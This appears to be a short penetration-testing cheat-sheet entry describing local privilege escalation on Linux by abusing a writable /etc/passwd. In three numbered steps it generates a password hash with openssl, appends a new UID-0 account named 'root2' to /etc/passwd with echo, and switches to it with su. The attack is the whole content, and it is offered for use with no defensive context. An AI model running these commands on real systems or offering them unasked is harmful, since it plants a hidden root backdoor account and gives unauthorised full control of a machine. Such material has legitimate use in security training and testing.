Abusing Password Authentication

NOTE: Ensure that user has writable permission to /etc/passwd

1

Create hashed password

openssl passwd "<Password>"

2

Add user into /etc/passwd

echo "root2:<Hashed Password>:0:0:root:/root:/bin/bash" >> /etc/passwd

3

Privilege Escalate

su root2